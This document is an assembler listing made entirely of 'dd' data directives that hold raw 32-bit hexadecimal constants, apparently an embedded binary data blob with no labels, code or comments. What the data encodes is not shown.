dd 0CDFCE202h, 3A037E1Eh, 37591516h, 181003B7h, 0AF21D109h
dd 55AB57C0h, 0BC893E00h, 1844034h, 79B27BAAh, 95FD000Fh
dd 0F0CCE0B7h, 36005E1Dh, 0E35272FCh, 246B5A04h, 2D94D7A5h
dd 0A100BBF4h, 0AE9F56FDh, 0C26E3313h, 7AC83960h, 0C9000154h
dd 3C05E699h, 1EC448F7h, 0C0D5379Ch, 14EDAC3h, 0B93F9615h
dd 0E73F0327h, 0F88CE545h, 5AFAB3Bh, 0ADD943E8h, 0FBBC8874h
dd 6EFE4Ch, 0BEEAF3D0h, 401593h, 453F5A8Ch, 8CAF863h, 0B8541A00h
dd 0E2C3AA30h, 0E9F0E7h, 4CD6B4EAh, 0D3176E32h, 0F600AB90h
dd 15B72DDFh, 0E8591436h, 73E800C4h, 0BAF172DEh, 1F01A8B5h
dd 836761CFh, 4C30F9EDh, 47FC07BDh, 575A3CF0h, 8A0DB096h
dd 313B228Bh, 8DAE1EEFh, 0FD0044A6h, 5BE6A57Ah, 0A3E009Fh
dd 13968308h, 20C35DEAh, 0E0BD5A19h, 0B74B611h, 0BE7F26FFh
dd 3ED8600h, 0AB79670Fh, 687F2BE4h, 73A0A61Fh, 0AEEF8540h
dd 0F944F9Fh, 776C658Ah, 47B131A0h, 0DC00958Bh, 7302E350h
dd 57E6C7h, 97E2A7A3h, 936A879Eh, 43524F00h, 4630B1F5h
dd 0F86EEEF1h, 45BD07A6h, 209759B7h, 26FA81C5h, 3058B12Ch
dd 0A08D938Bh, 0F2B5260h, 19F4033Eh, 0D59D31D3h, 0B7D43E8h
dd 94884D00h, 0B48E9991h, 9C700F1h, 55BCB236h, 1898A6A0h
dd 3113AD00h, 1808E0FAh, 0C89F00E4h, 0F075A74Ah, 6D010B2Eh
dd 590FBE58h, 0D1EC2C55h, 0E85F0901h, 4CA0A080h, 37C90693h
dd 7C0ECE0Bh, 586000ECh, 3D09335Ch, 14BE8713h, 3E8AEF01h
dd 8E9356AFh, 3D723278h, 6DB42D00h, 1276B152h, 0F023F5h
dd 2F7A04E8h, 0B800FC13h, 40365F9Fh, 9FEADDFFh, 0DA007470h
dd 0ADD17DE7h, 52BF0h, 5783B913h, 58515EF1h, 0F6F8524Bh
dd 0C96CE401h, 0DCA67810h, 8900FF42h, 86653FEFh, 16A107E7h
dd 442F2B0Ch, 4F0F9Ch, 0BE951792h, 49990058h, 88542451h
dd 0A80736D6h, 555C2E44h, 1674FB70h, 0A21E136Fh, 83FE00F2h
dd 4D29C0B1h, 5200DEE0h, 7D185577h, 1F504228h, 817EB732h
dd 0D1682046h
dd 0C6F03049h, 762520h, 0AB65D481h, 129A334h, 1A82CE00h
dd 46534F9Bh, 1BF90373h, 0E4D341FDh, 7540729Ah, 590082DEh
dd 0B4C17D40h, 71D3608h, 9629E84Bh, 0AB03CFB3h, 4EF8D63Fh
dd 44ECC95Bh, 0DE78D300h, 0D1A0DAF0h, 48EF00EEh, 287C34C1h
dd 0B5004718h, 0ABD35095h, 716360h, 0FC8B06B3h, 0A707995Eh
dd 0A4088900h, 0C37F7564h, 9AB8016Ah, 0A2F3567Ch, 8E92E0C6h
dd 0A00FDB0h, 0E242A3E9h, 98946E5Fh, 385600ABh, 0CCE58F47h
dd 8D007E19h, 0C03571AAh, 2CD5E2h, 0FFBDEF3Eh, 330A5091h
dd 0E640CF00h, 0A49516BCh, 0B0D11CF9h, 83833C1Fh, 0AEB42061h
dd 36AB3EA8h, 12CAA600h, 7E2304F9h, 0B0C03E99h, 8F9CDC80h
dd 9328FA3Ch, 8075FF0h, 0AC70B755h, 0C245C01Fh, 1D14ABh
dd 96D3CE4Dh, 4A6241DEh, 0D5773200h, 6545D181h, 140A00C8h
dd 92729461h, 3F7FDC87h, 0FC8D6209h, 3936000Eh, 1D451Eh
dd 8A511A97h, 508E6636h, 2300CCE2h, 0B9C4EB95h, 42F22Dh
dd 59A871Eh, 664AB70Ch, 0DA3BBE1Fh, 93101400h, 0A65F54h
dd 3822F5B5h, 7E2F876Ch, 0BAFC0B00h, 93409824h, 0EB789F63h
dd 0A1123100h, 51060C82h, 1E728Ch, 0B50B9C9Bh, 0CD49F0C3h
dd 0F274BF00h, 9A6A96F4h, 0BBE2001Ch, 0BD19EF26h, 7A00242Eh
dd 0A0F25DE0h, 0EB118F4h, 0F0FDE7EDh, 0C808A0Fh, 11C2EB0Fh
dd 879E9539h, 0E8103559h, 3D04280h, 1C96F8B9h, 0FED48C19h
dd 0A1286480h, 0C5D724D5h, 53ED6500h, 84803839h, 0FB3000F0h
dd 0A2A70C69h, 9D00E088h, 709AAD16h, 1D555012h, 4B7374h
dd 0F4E2A38h, 4100A4B9h, 1088A1F2h, 2835A06Dh, 7E8C2175h
dd 0A23B0027h, 0E60666Ah, 2A0F9B99h, 608ED5F9h, 0E80FEC1Dh
dd 331B1FCAh, 1FC94274h, 386019BAh, 0CE002541h, 4CBCC273h
dd 283F9Dh, 60D9AF15h, 8D358205h, 75A39B00h, 0E57FB00Bh
dd 0D387007Eh, 131626AFh, 5D000550h, 41F90127h, 1AEC5A1h
dd 0B4D8E003h, 506CA269h, 63ACA3D0h, 5E00E8FEh, 4516CC41h
dd 1EE3D908h, 1879F77h, 0F522BE3Fh, 0D4C44069h, 9D008A8Ch
dd 0D0FC2C13h, 1B4D17h, 8793325Fh, 756D1ABDh, 0CC20243Dh
dd 0A204004Bh, 0C2FC8141h, 80100084h, 7A38D29h, 1300B66Ch
dd 3583A797h, 78B5651h, 3AFDE141h, 0F3DD90A9h, 3900D6D1h
dd 0E8EBAC9Bh, 1C14464Ah, 80E1B6CAh, 0EA505856h, 86002E61h
dd 4613FD28h, 0E2276BFCh, 0C060E772h, 544700A3h, 0A8980791h
dd 0C40063E9h, 0D6953C61h, 7A5ADFh, 5E447D7Eh, 0B5CD1E9Ch
dd 0F1EF5D0Ah, 630F08E8h, 30232081h, 0F86574Ch, 0BBF82B8Ah
dd 697326A0h, 84928225h, 4ED89C03h, 0B830E797h, 744CBF8Eh
dd 4DFB1E2Fh, 7798700Bh, 38EA1BA7h, 868F9906h, 3088E63h
dd 0A6019265h, 213AA90Eh, 3FEC98E7h, 18C4D038h, 8CE0347h
dd 4E00739Ch, 0AD29DF8Dh, 15257EBh, 0D1894366h, 0CC08917Eh
dd 0ABF05810h, 6800CAF6h, 57C936D9h, 0F6EB6F1Ah, 0CF7B740Ah
dd 0A6EC7240h, 17016C70h, 611034DCh, 0C30E6E1h, 94E01E1Bh
dd 333A8058h, 6BCD2E98h, 88B47430h, 1AAECE7Dh, 0A9A6E157h
dd 87996011h, 0D5D06360h, 0CFE69741h, 336E1440h, 0A8180059h
dd 584E880Dh, 0D67A219Fh, 0E6D8F000h, 5C375D9h, 535200A8h
dd 0FC96D184h, 6D0740B6h, 2274DDF3h, 0A0A1D7A3h, 384477C4h
dd 0A8002B78h, 0CF51AFDAh, 8200BDB0h, 0BCB83B21h, 3C84F260h
dd 0B31CD5D9h, 618040FCh, 21B764EDh, 1500B27Fh, 0C8F7E0E8h
dd 0DCCB6Bh, 0BDCA4296h, 0F0827BB3h, 23E9380Ch, 7B87C15Ch
dd 0CE7C0718h, 0E58B488Ch, 0DAA8C374h, 9010210Fh, 3B809E84h
dd 6FCFBDCBh, 32A10017h, 4896AD76h, 93F053DBh, 0BD7BCE0Fh
dd 0A44E8538h, 81F9C12h, 1C6E4746h, 0F98C0010h, 9F92CD0Ch
dd 0E71D0B4Bh, 53152A4Fh, 0D1A61EB4h, 71A11CC0h, 0FEBA0D39h
dd 0FF72008Eh, 0BD5B6219h, 7C00CC4Eh, 0EF88351Fh, 1FC9E065h
dd 374C61CBh, 4FBB11B1h, 182182C6h, 7953BAh, 7108C511h
dd 0D8006091h, 0BAA0E0B9h, 492F0CF8h, 5008E872h, 3200BC92h
dd 0F999E0E9h, 6071F8B8h, 36819F3h, 610739D0h, 859A624Fh
dd 0A5A7E090h, 366A139Bh, 0A49E1576h, 7773F300h, 0DC70962Fh
dd 5A27C303h, 1E5747B3h, 0C0A884C8h, 8EC2E3C9h, 922E6997h
dd 0A9090306h, 4180F722h, 647EFD68h, 0A2E02000h, 6EBDD15Eh
dd 342D2E85h, 0FD6F0159h, 0F0ED4286h, 8400AAB6h, 0F1E8CB9Eh
dd 481FEC31h, 250017D5h, 468B4573h, 53CED74h, 8E480006h
dd 0A04BD509h, 8F11C024h, 34C34419h, 39344890h, 0B8C68A2Dh
dd 14C60021h, 98AE85Bh, 0E200CC3Ch, 3DD69968h, 7EA74F5Eh
dd 860CA4Ah, 7146562Ch, 0EA1AF901h, 80BF26A5h, 9AF692C8h
dd 625F52Ch, 8E3536D1h, 6F0030D8h, 0DACB2093h, 0EEC4AEFh
dd 53562299h, 0F55CA480h, 3D00E2D5h, 31059032h, 7C3DB84h
dd 0FCD886B3h, 540890A0h, 24E2158Ah, 61035D7Ah, 1602F90Eh
dd 6BFAE02Bh, 0C37528h, 0EEAC6751h, 73A25F77h, 92CEDC00h
dd 25FE534Ch, 710E007Bh, 79886336h, 730F56D9h, 800FF7FFh
dd 843ABC74h, 0D2EA0398h, 0E9F16A7Dh, 86A934E0h, 3F616E00h
dd 95FA16Fh, 0D3840B3Bh, 0B9806689h, 734D9EF8h, 916EF103h
dd 103485C1h, 1DEE21h, 0F17403EAh, 517A26h, 0BB81B74Ah
dd 0FE6D9A28h, 52F680C2h, 0C88F0FF8h, 0D138224Ch, 51C05AF8h
dd 0AAE4F160h, 39E53CBFh, 712A7F00h, 102281D6h, 0C3748E03h
dd 0F817B218h, 0D94D15h, 0B4B3AA1Dh, 96BD5F55h, 5C23Ch
dd 8ABE1BFEh, 2CCF57h, 5C1D67EEh, 188E3A4Dh, 51C2C900h
dd 41487DB5h, 0C46F582Ah, 5D4A6E07h, 0D1E0C09Ah, 0D5FC7804h
dd 0D33DE570h, 776780E2h, 9CFC25D6h, 303BFEBAh, 18CE4B0Ah
dd 0A400D2FFh, 0E4371FA5h, 57F28Ch, 520C834Dh, 165E811Dh
dd 35EE9B00h, 0EC686314h, 7F1702E7h, 0B6994BE8h, 0A133CD41h
dd 0F5C00410h, 0E57EE9h, 0A71CCE23h, 248A824h, 0E3B53203h
dd 0C0829153h, 0D643B0h, 9B23F4E7h, 0BFB320E2h, 80B4040Fh
dd 0D90D87E6h, 0F2050110h, 72EF0036h, 3C29852Ah, 0D528CFB3h
dd 0F100C463h, 0A28BFBBBh, 52F30Fh, 1C0EF61Bh, 0A3948187h
dd 141D2D00h, 82766A48h, 15C788Ch, 8BB14674h, 0F8BA63BFh
dd 4A71D4D9h, 0E507DE78h, 906A68D1h, 0BDFA0A90h, 6CDA00FDh
dd 21424161h, 0AF00C30Fh, 0B23127F7h, 7E8D604h, 54658978h
dd 46C6D0CEh, 4100BB5Fh, 7E588CBCh, 0B86C28h, 15D0BA05h
dd 0B5C7D435h, 1EB02A00h, 4B73D18Bh, 915B0778h, 0F0764E5Dh
dd 0DAD518BFh, 93A4A301h, 0FA5A1D8Dh, 38678C8h, 7203E9FEh
dd 11B865B9h, 2300E6F9h, 5BD4033h, 341CE89h, 0AB1A029h
dd 8AD890D6h, 6D6063FEh, 4E7C8411h, 9B42002Dh, 0D31138F6h
dd 0D4070907h, 0CD41525Ah, 0F88BA723h, 0F58B771h, 4C786463h
dd 0FF9ACB00h, 0CC039CBCh, 7F189690h, 888E4BEh, 0BD8D5CAEh
dd 0DE862300h, 0BB38ECE7h, 0AAE8D8E6h, 6BCA610Eh, 9E35208Eh
dd 744EA1h, 0DFB151D3h, 0AEB4E762h, 4DD911Eh, 0A060FFC0h
dd 1CB8802Ch, 0DEACC531h, 35000ADh, 55A4CF0Ch, 83FE3300h
dd 9C3049B5h, 299100EAh, 0BE9F89CCh, 0FB60435Fh, 73A0F4F1h
dd 0F9280EF8h, 0A3E06A0Dh, 5CD54B2Eh, 2A30DC90h, 31662809h
dd 0F10760FDh, 0FBE7D198h, 3DC9700h, 8F4C0CB3h, 0C56C00CAh
dd 77ACDB68h, 7100A09Ah, 853E395Ch, 9D15B2h, 7F54D0F0h
dd 105DB99Ch, 1CFCDF3Eh
dd 0D140EBAEh, 138E497Ah, 68691487h, 0D8009C89h, 0CF62C8C1h
dd 0F0E398DBh, 0BAF8F24Eh, 0A2A96E01h, 0E4E31D53h, 0F3E87D0h
dd 75EE6FD9h, 198B85A1h, 800DCD34h, 12F12AC0h, 0F79BE0Ah
dd 58CF2FC1h, 0BDDE0280h, 0A30754D1h, 33A1F4C9h, 0D4A97F80h
dd 0D3DF24C3h, 0CD1480D4h, 93F3C875h, 34803E00h, 0B860C60h
dd 0C7D80092h, 73D5369Dh, 0E81E469Ah, 20F935Dh, 115A803Bh
dd 0F984AFh, 865F1F83h, 5947FA1h, 0BA906B00h, 17FF4E6Ch
dd 0AC2D122Bh, 9E0443B6h, 0B8010F1Fh, 88C2779Ah, 0BED4C9D2h
dd 288B49B3h, 0BDD4B60Ah, 0C5590097h, 0B81C053Fh, 58CE6413h
dd 0AB128E05h, 0FC880280h, 0BC99008Bh, 0B7181C68h, 0C0003D75h
dd 0A954F085h, 0FFAB20h, 0F20444FAh, 13A62B8Eh, 0B3EDA41Eh
dd 0ECBFF080h, 16FE32Eh, 0E61D90ABh, 0EC2A60DCh, 0F7004B04h
dd 0A062E79Fh, 7E032DCBh, 0E56812DAh, 92A44381h, 303ADB2Ah
dd 15A40985h, 6424008Fh, 69966D4h, 0E1165CD1h, 9A00105Dh
dd 0F0C09148h, 6D9C7h, 0D024EC67h, 11BF9434h, 986A4500h
dd 0F2D4D382h, 79C207E7h, 7006AC74h, 0E2C35DB6h, 4CD01800h
dd 0FF0A6446h, 0EDDC004Bh, 2FDB1B45h, 8801DF2Ah, 0E831A56Ah
dd 0C83004D0h, 1B1700BAh, 42E526C8h, 1D0079D1h, 1E4CB025h
dd 1295992h, 6C3185BEh, 0E0EA1C75h, 0B8003D97h, 8B3F2190h
dd 984F2Bh, 0E8D7A296h, 0DAC218CBh, 1FEEF60Eh, 24A3C0FFh
dd 28480Bh, 0C61D861Bh, 0D43D34Eh, 817F4900h, 5606FB1Fh
dd 0E2250004h, 7EF538EDh, 4C0EA12Ch, 0A0B16E65h, 27BF1274h
dd 14B5002Bh, 0E58EBA5Ch, 0C2006F50h, 0A28871Dh, 0D376D9h
dd 93F6A44Dh, 31A6826Ch, 38235D01h, 9674750Dh, 26A6824h
dd 582E4A3Fh, 61E092C5h, 4D0C9156h, 11AFBC78h, 1BDC00CDh
dd 8D52DDD3h, 9000A3DFh, 0B588A7C6h, 0B02406h, 0C2D9C5E2h
dd 0AD630A9h, 92EDCE00h, 1A478263h, 4BE0205h, 686B14ABh
dd 703E5CE0h, 64CAED00h, 652F44A8h, 0EC2800FBh, 0A4F23DA3h
dd 0D6006F82h, 4014C198h, 45DF7Bh, 0D2246586h, 90027A57h
dd 0E5B91101h, 5D44FEEDh, 48C395D4h, 2E007BABh, 78CBF1BEh
dd 70791331h, 0D868DE00h, 439DADE5h, 0A09500A2h, 0C4D1E8B7h
dd 2007E44h, 0FDCF264Fh, 0FC3E2Dh, 506CD267h, 297C0A7Fh
dd 6F2E5C00h, 0A544D69Ah, 0E5DD0027h, 681CFFE1h, 0ABB0865Ah
dd 3F354700h, 1EEDA574h, 51550F0Eh, 0D0A01938h, 72290861h
dd 8406DA01h, 76F1FC8Eh, 449CE340h, 0AC7D3AC2h, 0F6FF790Fh
dd 1D261Ch, 834CD736h, 0C41C0A45h, 0D50087F9h, 1904463Eh
dd 1FC7280Fh, 7A5D00A3h, 533FA50h, 0DB00A66Eh, 0C13220Dh
dd 17DC874h, 28330AFh, 0C4B6714Ah, 1C795E2Bh, 8FB2CF00h
dd 1728F672h, 23333FBEh, 404BFB00h, 53107C94h, 0C400EB7Ah
dd 1EF2E25h, 27E45E4h, 0BDB4E6CFh, 0C560B52Fh, 0F5033EC3h
dd 79CE69AFh, 7F27900Bh, 0F21E3CCDh, 4E226D00h, 0CA882E3Fh
dd 300BB7Fh, 0BF62E23Ah, 15D5440h, 0C135BE71h, 0D5DB7C10h
dd 0D3B8C3F2h, 0D800403Ah, 1417A436h, 0D589F3h, 84D79764h
dd 0F807CC6Fh, 0E56C3Ah, 0CF0A4027h, 17BE41h, 4DFEAAFAh
dd 37BA4961h, 0DE7C3C00h, 0B58E9815h, 69DA0092h, 8BC2341h
dd 2264A73h, 4D000153h, 19037E62h, 251F005Ch, 0DF700EA2h
dd 4C0BA02Ch, 0F073A3EAh, 0B90F1E28h, 88E5C02Dh, 0C1FF4A86h
dd 5FB6948h, 0FE631789h, 56970800h, 30A6186Ch, 0E128F32Bh
dd 6C900325h, 5C1BF200h, 0CC23368Ah, 0ABD0020h, 0B6859978h
dd 2500AF26h, 4C3EA0FCh, 696596h, 3C4376CCh, 46F41BB4h
dd 0AEE094ABh, 2B09E6A2h, 865902AFh, 561476Bh, 19E10C99h
dd 30803FEh, 0B3D89857h, 0A3024ABFh, 186F5688h, 0CC50A2A7h
dd 8DB41002h, 5DB53607h, 0C85318Ah, 73891400h, 6F6542h
dd 4C9CADD9h, 15E39822h, 30601A18h, 0D8962Ch, 43D15262h
dd 94BD65ABh, 207B5E30h, 0E6F8A71Ah, 6D7E0F93h, 0DF60E185h
dd 0DEDB63F5h, 62FE5100h, 67C998C8h, 0F2860077h, 0DDC56B0Eh
dd 1000BF4Ah, 0A1FDA68Ah, 72E84117h, 7A780145h, 0E1F07090h
dd 6F0CF8B5h, 31BF5F00h, 45C173DBh, 250D006Eh, 24B9A497h
dd 0AB001AF2h, 0F84265F7h, 2803612Ah, 0E8AC6D8Eh, 24CA140Ch
dd 7084C0h, 0F1ECDE0Ah, 12092EEh, 13CF0400h, 9033A9B9h
dd 5C394827h, 8695BA00h, 613EDF67h, 0C08B9F00h, 4BB45E17h
dd 50D30AD1h, 94DC6A3Fh, 1FC0414h, 0C0D5C528h, 20768907h
dd 752676Ch, 0AAC481E8h, 0BC473D6Ah, 54B5D200h, 62ECFEB2h
dd 0E9EB293Ch, 22160B22h, 1F22B446h, 216F243Eh, 4A12D947h
dd 893A5F10h, 44500873h, 0BC441E3Eh, 80B67E35h, 9C8042D7h
dd 818B04F2h, 85112CB4h, 9D7F8090h, 0A307614Bh, 8D14AC7Ah
dd 395F1230h, 347D1FDBh, 1797C0FDh, 8449B9Eh, 1F00D499h
dd 20C5CBB1h, 91A51E87h, 0D7B7C09Fh, 80B495A1h, 0E9638F00h
dd 0C3B6BFCFh, 157B3A18h, 36BD6080h, 0A47A19FEh, 0E468E103h
dd 70F8A096h, 92B40019h, 0B5BEF728h, 0DF00F3A2h, 948C1BC2h
dd 3BCFA19h, 0F4443563h, 83AD1E79h, 13B84BBDh, 200F91DEh
dd 0C0896B98h, 7726CD72h, 0DF1200D0h, 0C7D72D31h, 800AFDDh
dd 7FB7F1F3h, 0E4E757h, 0D2843A79h, 0F428CE98h, 0D7732F00h
dd 0A0931B13h, 86F00F5h, 617A11D1h, 5D004314h, 0B6234FE7h
dd 3D54C71Eh, 5980678Fh, 0F42FDF18h, 754C02F1h, 0CB6401EEh
dd 89EE6181h, 0F03AC72Fh, 6BC740FBh, 770D360h, 0C9F70Bh
dd 32E0D503h, 0F19A7EFEh, 7A8FA3Eh, 979424C5h, 9C4D4060h
dd 0BCE811h, 106795F2h, 0BAF65373h, 4CC348h, 404C2361h
dd 0ECADDF76h, 4B7F0F56h, 0EF072D5Fh, 2451007h, 0F2F80550h
dd 0A7331707h, 1627FEFDh, 0A4CFE7A0h, 88D0020h, 4E443C3Fh
dd 3B00B422h, 39D7817Eh, 3EE9E46Dh, 0CA0BC20Ah, 8068EB0h
dd 0BF1F2A19h, 6387A668h, 8FE07F94h, 0E4964BC6h, 33350086h
dd 0B3295CC0h, 0D0055C9h, 0F1D37E6Ah, 1FB78A69h, 0C5A7C78Eh
dd 0C0DC0CDFh, 0FBD95A2Ch, 0BFB91201h, 21966CB2h, 6AF360h
dd 0C1F2FDEBh, 2B3E0893h, 495A901h, 5AB9670Eh, 18DD024h
dd 0BED246D9h, 60D67041h, 4C7F1B54h, 3B10F700h, 8707137Fh
dd 1ED57B9Fh, 0C80B51h, 656C84BFh, 9B01D3E9h, 0CC5E7C02h
dd 1AEC9E34h, 91FD0017h, 57EFBF0Eh, 35769A7Dh, 75927801h
dd 43253B1h, 3EF4F034h, 2282560Eh, 7FD083E8h, 0C4718BE0h
dd 2F00EDFAh, 0C242D9EEh, 3C02D8FBh, 67806FBDh, 0EF257C46h
dd 781DCCB0h, 0DF806B43h, 0D45CC750h, 5095769Ah, 381B823h
dd 0AB7560BDh, 4BD009EDh, 240099BBh, 0EB842F8Bh, 7E6FC6A4h
dd 30FB6EAFh, 0A18983C0h, 9F0FD42Ch, 1F992F6h, 0CEDF56EFh
dd 0C3B0E047h, 4160C2h, 83077965h, 0D7E0547Ch, 639E9A00h
dd 0A8F6A170h, 0C2CB001Fh, 0DED4FB97h, 8277BBCEh, 0D244AB00h
dd 516EBF31h, 0CBB50099h, 3C342137h, 0CCB25B17h, 0A0851300h
dd 0A7F169BDh, 4ECB0C1Dh, 0ED10969Ah, 9B7B8600h, 900183B0h
dd 0D2C148E4h, 0C233CB00h, 7A6BEF6Ah, 142AF000h, 0BD66919Dh
dd 0E72400D9h, 0EA78B932h, 0D4078BFBh, 0BBE8A073h, 0AB12E500h
dd 0F9CF01A1h, 4580518Ch, 0E885C12Eh, 2A1D0A77h, 3B80F292h
dd 97ED7D33h, 8044B0B3h, 179098h, 55219C5Ah, 4053AD5Fh
dd 580F5DF2h, 6FF76416h, 607A072h, 231BEEh, 4B953FFh, 0C1212FD3h
dd 19A5EA30h
dd 39F903B4h, 58C89905h, 5F15F616h, 4F8B423Ch, 0C7409F6Eh
dd 3A0330F0h, 412D224h, 5DFD888Ch, 289A2D59h, 2118F1DEh
dd 185199D0h, 0A8D238E7h, 0C87E6B64h, 1BE1D600h, 0B19BA9AFh
dd 0B2EE09DBh, 0EF806F33h, 0C8D549B9h, 6692A00h, 0C0D80A27h
dd 4B16007Fh, 536F8AC9h, 6000FA63h, 35748086h, 0C9BD440h
dd 31DD236Ch, 0F00F0CF2h, 80E4AEC5h, 7A5617E2h, 291B00C1h
dd 6B0267AFh, 8C0339B1h, 9A89D38Dh, 0D598C8F8h, 748700F5h
dd 79FCCABh, 58006EBCh, 0EA5EDC9Bh, 9F82136h, 96AA024h
dd 95631000h, 7A008D96h, 5A6CF745h, 0CF269D82h, 84A70D10h
dd 9253006Bh, 0F100D483h, 0A3F6B51Fh, 7AF8DE89h, 0D9A1005Bh
dd 33DD74FFh, 9624AB4Ch, 0A8021043h, 48AB0FAh, 0A40BC04Eh
dd 0C7384495h, 0AD8281D9h, 0BB391DC6h, 30704461h, 8F03044Bh
dd 0D01A2E74h, 0AEDE3120h, 0F432E10Ah, 0A801C01Bh, 306E2E6Ch
dd 2D008C28h, 0E45E3540h, 0E2002932h, 71212707h, 1F347C2Ch
dd 0A87E3960h, 161E7BE4h, 40872368h, 0D69AF790h, 0C600FC16h
dd 29B5B99Dh, 3A23EC0Ah, 1D809C4Ah, 625E7E0Bh, 3E038ACAh
dd 0A99D4BB3h, 0C930007Ch, 0E8941D65h, 85005BA3h, 521C24FEh
dd 0ECF007h, 7FB435D5h, 73B10AFCh, 18CE6D00h, 71FE8DDDh
dd 5AA30072h, 4B824BAh, 0EA0CEC6Eh, 20B6C068h, 2EE888h
dd 0C452A921h, 2BA532BFh, 0BD209F00h, 8FA70CF6h, 92200DBh
dd 167206EAh, 0AD00B881h, 94DCD9F2h, 1CFE17h, 0C7B7CB9Ah
dd 80935068h, 0BABB4100h, 9D07DE7h, 2B300099h, 0B94FFE67h
dd 145D0FEBh, 503BB4h, 5D69BFE0h, 0F0B9FCEh, 6C9609BBh
dd 21A89800h, 0D4E43AB9h, 0FF169400h, 0D5DA1142h, 434B0004h
dd 460F1FCDh, 72020A63h, 95EE34C4h, 6D54E022h, 9CCE00A4h
dd 6E2F2533h, 8078C7B9h, 9A158500h, 380C241Ah, 75C96BEh
dd 0D063407Eh, 0D3E35DABh, 45A57000h, 6688E4CDh, 1A680005h
dd 0F86CE5A1h, 0DE000AB2h, 9607F07Eh, 0CA4270h, 0FF70428h
dd 0D465683Eh, 0E0FAD8E3h, 0C2729E12h, 2EF72C80h, 0F89467DDh
dd 0E18D42C6h, 10CD2040h, 0D76C6900h, 62AA84DFh, 0A51E02ADh
dd 0AF58D3Bh, 36D90040h, 0BD120D00h, 38B64C1Ch, 33850096h
dd 941EA21Dh, 0B30CFAB9h, 5079DD78h, 0BEC70086h, 96A0F754h
dd 0DC7AFE33h, 0C8A2ED00h, 0DB63C684h, 0E2EA00B6h, 71BC6B25h
dd 4007FF1h, 0C543D6ABh, 0F0DBF6h, 81649FFDh, 0EDEC6528h
dd 69004896h, 502DAD4Ah, 35802EE6h, 3C7A036Fh, 9600B9B4h
dd 0D37CB638h, 0ACDADDh, 63558C19h, 61A0A15Eh, 0E5252800h
dd 0CFF2625Bh, 328B3A29h, 7594E680h, 2A7C4555h, 0B14BCB8h
dd 0DBA853h, 8A3E7F8Dh, 364A156h, 0AF315C0h, 1AF8E981h
dd 1101DBECh, 0DAC97A0Dh, 74D4F68Dh, 3B080FC0h, 62003D40h
dd 36A14D88h, 92E05A18h, 6965821h, 71566339h, 0C109D82Dh
dd 602C3266h, 0B284CC44h, 5DE624h, 418BB08Dh, 5061E782h
dd 3045F400h, 6251733Eh, 0AEA938D7h, 0DB5CA082h, 40401A20h
dd 8200D3ADh, 0FE3743A7h, 0A0C9560Bh, 0DD3DB9h, 545EDB71h
dd 15B01FA3h, 0BC00607Fh, 7FBA16AFh, 0F422B9h, 10A0B3BEh
dd 31097AE9h, 661E67FAh, 7500CE9Dh, 13A22DDAh, 58500FDh
dd 2A5D5E9h, 3400388Eh, 52F29F4Eh, 39C4F8Ch, 91B43296h
dd 0FDDA8415h, 82AC4040h, 44535B0Ah, 0CF81CCB1h, 0B0C8EE24h
dd 0B879AF43h, 7F0BD5Dh, 0AC4D69D0h, 40BB25E4h, 3B750CF8h
dd 9701BEF2h, 57014F7Eh, 0BC202C65h, 0F4AE3D41h, 46E3AC4Bh
dd 13C84CA4h, 9040DFB4h, 0B6A9F898h, 200B8982h, 7A007EE8h
dd 0A78826FFh, 1A1C3F9h, 25B87DACh, 202D770Dh, 7E027F4Dh
dd 6B44C61Dh, 1847935h, 309B18F8h, 38FE80A7h, 4ECF7F06h
dd 3DD00F4h, 82BA4B1h, 9800D843h, 0C38E737Ah, 0F7598816h
dd 1F2320E8h, 407DE65Ah, 6C5ECAD6h, 921C561Ah, 0CCA8FDACh
dd 84A21213h, 11069003h, 9D249004h, 788C0020h, 4FF3361Dh
dd 3E00D8B0h, 0F0F29E4Ch, 585FB49Ah, 7CC24Eh, 99FFD66Dh
dd 783BF6CEh, 680FA100h, 0A22C2D88h, 0A7010082h, 0C19DC887h
dd 160F8B4Eh, 22BF6BCAh, 48FBFE52h, 77B42954h, 0A61001D1h
dd 9C8E8472h, 796EC0B0h, 53D6D900h, 75F6239Ah, 39731CE8h
dd 9D2B800Fh, 503A8289h, 9C70C00h, 0B9B05A98h, 0EB1B00ABh
dd 0B79DF776h, 0B57F301Eh, 4224D300h, 59152E38h, 0AE5A00B1h
dd 99CFD27Eh, 400F90E9h, 20EE665Bh, 0B4024C8Eh, 0A61A0042h
dd 9FB5E41Fh, 36E4FD29h, 0FF4DA33Bh, 7C9573Bh, 1B712CCh
dd 0D0F77CB3h, 3F5942Bh, 1B892670h, 44B0247Dh, 7300198Ch
dd 991FBD98h, 37951Ch, 4C2D6D14h, 0B65C4990h, 74311D00h
dd 2A3ADA7h, 4BDB00C5h, 0E46233A8h, 2500F5D7h, 93AFCC1Ah
dd 78B1851Dh, 1E95004Dh, 7D1C405h, 197B5532h, 34B26300h
dd 62C30E5h, 592F079Dh, 0D06E5A86h, 0BC4AAD45h, 6F6A6000h
dd 9B054D64h, 0A4B0038Ah, 0FEBD76CDh, 0AC98FAA3h, 3800996Ah
dd 48349E94h, 0F4D30116h, 3A24DEFh, 5E87BA00h, 0A80C3B0Eh
dd 1422CE0Eh, 1C9DE0E8h, 2142B2h, 0CF121E6Ch, 0F2BC98DDh
dd 78265307h, 8C30550Dh, 7B560Ah, 315449ACh, 29626F05h
dd 0D4A62007h, 0EB538677h, 3022A19Ch, 7BAF6DCh, 421802ACh
dd 8B0E206Fh, 0FA398AFDh, 85278975h, 1CC30004h, 1EA5B2AAh
dd 4036FF93h, 0EF0250C7h, 0AF000146h, 8CE63A69h, 7D74C1h
dd 0FE4B67EDh, 0D9FF851Bh, 2ACAB100h, 7269550Ch, 2C6872CDh
dd 3FE7461Ah, 4D8AEF00h, 95BDE460h, 0BE393C06h, 11887Ch
dd 0F4101B65h, 1149DD2h, 0B55A1C0Fh, 455FC032h, 77270618h
dd 0B3880779h, 0B00B639Dh, 0DB3BB4CFh, 0A195F8C0h, 3F625A3h
dd 2F87E74Bh, 0EB04C9Bh, 0DC00CED5h, 79F19752h, 150B1FA8h
dd 18A6E52Bh, 4FD54D80h, 0FA19CC4Eh, 42184A7Bh, 52ACD8h
dd 0C4BAF059h, 63169F5Ah, 0EF736EFAh, 0EB68B903h, 0F835522Ch
dd 7F72A21h, 0BDB4B714h, 0B2F80FDh, 0AA00611Dh, 63A7764Ah
dd 0F38F44h, 0C5E5136Bh, 0FEDA4B9Eh, 0A869D601h, 0A20FEE96h
dd 0CFBC30h, 28E0EBDFh, 1112DB32h, 0FA90CA02h, 40FB5CAEh
dd 4AFD6Ch, 5D92F722h, 45962D03h, 0BB30BF00h, 772BB7B4h
